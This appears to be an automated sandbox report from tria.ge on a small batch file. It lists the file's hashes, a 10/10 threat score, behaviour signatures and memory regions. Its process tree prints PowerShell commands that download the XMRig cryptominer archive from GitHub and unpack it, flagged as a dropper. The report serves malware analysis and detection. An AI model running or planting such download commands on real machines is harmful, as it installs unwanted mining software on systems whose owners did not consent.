Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22/12/2023, 05:54

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2784

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GI8HEEKAHOD0NM8ROENX.temp

    Filesize

    7KB

    MD5

    60d99166203f1794152d2f155752716d

    SHA1

    9bfc7fe44c998a6ad0946457fe0a974d5158d209

    SHA256

    3ed4c0c0b0b2e0dbc0cb2a7ce72a7e108a8e55c5ce6a28de0f1a423bf4ceed21

    SHA512

    3f01066f4ae1295e00a1375465f8c98a7eab75a7862569f0c96ba188f7a274c2958453ec00bb49c82d33d49f5904659d1e75cccf2b68e7a0db46dcb4e32a77fe

  • memory/296-11-0x0000000002D70000-0x0000000002DF0000-memory.dmp

    Filesize

    512KB

  • memory/296-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

    Filesize

    9.6MB

  • memory/296-6-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

    Filesize

    9.6MB

  • memory/296-5-0x0000000001D20000-0x0000000001D28000-memory.dmp

    Filesize

    32KB

  • memory/296-4-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

    Filesize

    2.9MB

  • memory/296-10-0x0000000002D70000-0x0000000002DF0000-memory.dmp

    Filesize

    512KB

  • memory/296-9-0x0000000002D70000-0x0000000002DF0000-memory.dmp

    Filesize

    512KB

  • memory/296-12-0x0000000002D70000-0x0000000002DF0000-memory.dmp

    Filesize

    512KB

  • memory/296-7-0x0000000002D70000-0x0000000002DF0000-memory.dmp

    Filesize

    512KB

  • memory/296-13-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-19-0x000000001B790000-0x000000001BA72000-memory.dmp

    Filesize

    2.9MB

  • memory/2784-22-0x0000000002930000-0x00000000029B0000-memory.dmp

    Filesize

    512KB

  • memory/2784-26-0x0000000002930000-0x00000000029B0000-memory.dmp

    Filesize

    512KB

  • memory/2784-25-0x0000000002930000-0x00000000029B0000-memory.dmp

    Filesize

    512KB

  • memory/2784-24-0x0000000002930000-0x00000000029B0000-memory.dmp

    Filesize

    512KB

  • memory/2784-23-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-21-0x0000000002240000-0x0000000002248000-memory.dmp

    Filesize

    32KB

  • memory/2784-27-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-20-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

    Filesize

    9.6MB